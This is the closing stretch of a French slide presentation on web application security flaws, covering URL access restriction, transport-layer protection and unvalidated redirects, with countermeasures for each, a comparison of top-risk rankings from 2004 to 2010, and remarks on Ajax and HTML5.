  • 2.8 Défaillance dans la restriction des accès à une urlP. 42  Source de vulnérabilité  Manque de contrôle lors de l’accès aux fonctionnalités  Fonctionnalités indexées par les moteurs de recherche  Solutions 1. Tous les répertoires doivent contenir un fichier index.html 2. Le serveur http ne doit pas afficher le contenu d’un répertoire 3. Les fonctionnalités doivent vérifier les droits d’accès de l’utilisateur avant affichage Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.9 Protection insuffisante de la couche transportP. 43  Victime d’une attaque  Application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Accès au système de transmission  Objectif de l’attaque  Vol d’information confidentielles Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.9 Protection insuffisante de la couche transportP. 44  Les protocoles de communication sur Internet Pile générique pour Pile générique pour Internet Internet Application Application Transport Transport Internet Internet Réseau Réseau Transfert de données à travers la pile de protocoles d’Internet Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.9 Protection insuffisante de la couche transportP. 45  Source de vulnérabilité  Accessibilité des moyens de transmission  Solution  Chiffrer toutes les pages de l’application Si transmission de données confidentielles (dont informations de connexion) Si transmission des informations de session Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.10 Redirection et renvois non validésP. 46  Victime d’une attaque  Utilisateur de l’application vulnérable  Attaquant  Extérieur au système  Moyens utilisés  Page de redirection  Objectif de l’attaque  Hameçonnage  Attaque CSRF par réflexion Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 2.10 Redirection et renvois non validésP. 47  Source de vulnérabilité  Adresse de destination non vérifiée  Solutions  Renvoi uniquement vers des pages locales  Redirection assurée par le serveur http en cas de déplacement d’une page ou du site Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • P. 48 1. Web 2.0 : Constats 2. Web 2.0 : Perspectives 3. CONCLUSION Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 3.1 Web 2.0 : ConstatsP. 49  Internet est omniprésent  Guerre des forfaits mobiles pour Internet  L’accès à Internet est perçu comme un des droits de l’Homme Vinton G. CERF dans le New York Times paru le 5 janvier 2012 Extrait de : “Internet Access Is Not a Human Right” “Even the United Nations report, which was widely hailed as declaring Internet access a human right, acknowledged that the Internet was valuable as a means to an end, not as an end in itself”. Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 3.1 Web 2.0 : ConstatsP. 50  Les risques ont peu évolué depuis 2004  7 problèmes de 2010 déjà présents en 2004 Risques 2004 2007 2010 Injection de commandes A6 A2 A1 Failles Cross Site Scripting (XSS) A4 A1 A2 Violation de Gestion d’Authentification et de Session A3 A7 A3 Référence directe à un objet non sécurisée A1 A4 A4 Cross Site Request Forgery (CSRF) A5 A5 Gestion de configuration non sécurisée A10 A6 Stockage non sécurisé A8 A8 A7 Manque de restriction d’accès URL A2 A10 A8 Violation de Contrôle d’Accès Communications non sécurisées A9 A9 Redirection et renvoi non validés A10 Débordement de tampon A5 Mauvaise gestion des erreurs A7 A6 Déni de Service A9 Exécution de fichier malicieux A3 Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 3.1 Web 2.0 : ConstatsP. 51  Ajax et la sécurité  Ajout de nouvelles failles  Mode asynchrone rend les attaques moins visibles  Sécuriser une application Web 2.0 1. Sécuriser le Web 1.0 2. Sécuriser les appels Ajax Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • 3.2 Web 2.0 : PerspectivesP. 52  Faut-il abandonner Ajax ?  HTML 5 sera-t-il la solution pour faciliter et standardiser le développement d’applications Web 2.0 ?  Les bonnes pratiques de sécurité vont devoir évoluer pour prendre en compte les applications pour smartphone Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement
  • P. 53 Contact : Guillaume HARRY MERCI DE VOTRE ATTENTION Guillaume HARRY l Principales failles de sécurité des applications Web : principes, parades et bonnes pratiques de développement